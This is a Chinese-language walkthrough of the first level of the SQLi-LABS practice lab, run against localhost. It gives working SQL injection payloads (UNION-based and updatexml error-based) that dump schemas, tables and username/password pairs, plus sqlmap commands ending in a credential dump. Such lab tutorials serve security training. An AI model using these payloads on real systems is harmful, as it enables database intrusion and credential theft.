SQLi-LABS 第一关 SQL注入 总结
关卡简介
关卡提示:GET-Error based- Single quotes-String
注入位置:GET
注入类型:子符串型(单引号闭合漏洞)
注入方法
前期测试
url 输入 http://127.0.0.1/Less-1/?id=1 and 1=1
url 输入 http://127.0.0.1/Less-1/?id=1 and 1=2
页面无变化,排除数字型注入
url 输入 http://127.0.0.1/Less-1/?id=1'
有报错回显,可能是字符串型
url 输入 http://127.0.0.1/Less-1/?id=1' and '1'='1
两次页面不一样,确定是 字符串型
union联合查询注入
由于有显示数据库内容的字段区域,还有有报错回显示, 因此可用此方法
-
爆列
http://127.0.0.1/Less-1/?id=1%27%20order%20by%201--+ http://127.0.0.1/Less-1/?id=1%27%20order%20by%202--+ http://127.0.0.1/Less-1/?id=1%27%20order%20by%203--+
试过均正常显示id=1时的页面,当 http://127.0.0.1/Less-1/?id=1' order by 4--+ 报错,说明 当前数据表有3列
-
构造注入 payload http://127.0.0.1/Less-1/?id=-1' union select 1,2,(select version())--+
爆出数据库版本
构造注入 payload http://127.0.0.1/Less-1/?id=-1' union select 1,2,(select schema_name from information_schema.schemata limit 0,1)--+
爆出数据库信息 (第一条)
构造注入 payload http://127.0.0.1/Less-1/?id=-1' union select 1,2,(select group_concat(schema_name) from information_schema.schemata)--+
爆出数据库信息 (所有)
构造注入 payload http://127.0.0.1/Less-1/?id=-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database())--+
爆出当前库的所有表
构造注入 payload http://127.0.0.1/Less-1/?id=-1' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name="users")--+
爆出用户表users的所有列名
构造注入 payload http://127.0.0.1/Less-1/?id=-1' union select 1,2,(select group_concat(username,'~',password) from users)--+
爆出用户表users的所有信息
报错注入
由于有报错回显示, 因此可用此方法
这里使用 updatexml 函数报错方式
-
爆出数据库版本 构造注入 payload http://127.0.0.1/Less-1/?id=1' or updatexml(1,concat(0x7e,(select version()),0x7e),1)--+
-
爆出当前数据库名 构造注入 payload http://127.0.0.1/Less-1/?id=1' or updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
-
爆出当前数据库的所有表 构造注入 payload http://127.0.0.1/Less-1/?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)--+
-
爆出当users表的所有列 构造注入 payload http://127.0.0.1/Less-1/?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="users"),0x7e),1)--+
-
爆出当users表的所有信息 构造注入 payload http://127.0.0.1/Less-1/?id=1' and updatexml(1,concat(0x7e,(select group_concat(username,password) from users),0x7e),1)--+
updatexml 函数报错最多显示32字符,可以用 limit 取数据 ,这里不再演示
利用sqlmap注入
傻瓜式注入
-
爆出所有库 终端执行 sqlmap -u http://127.0.0.1/Less-1/?id=1 --dbs
-
爆出当前数据库所有表 终端执行 sqlmap -u http://127.0.0.1/Less-1/?id=1 -D security --tables
-
爆出users表中所有列 终端执行 sqlmap -u http://127.0.0.1/Less-1/?id=1 -D security -T users --columns
-
爆出users表所有信息 终端执行 sqlmap -u http://127.0.0.1/Less-1/?id=1 -D security -T users -C username,password --dump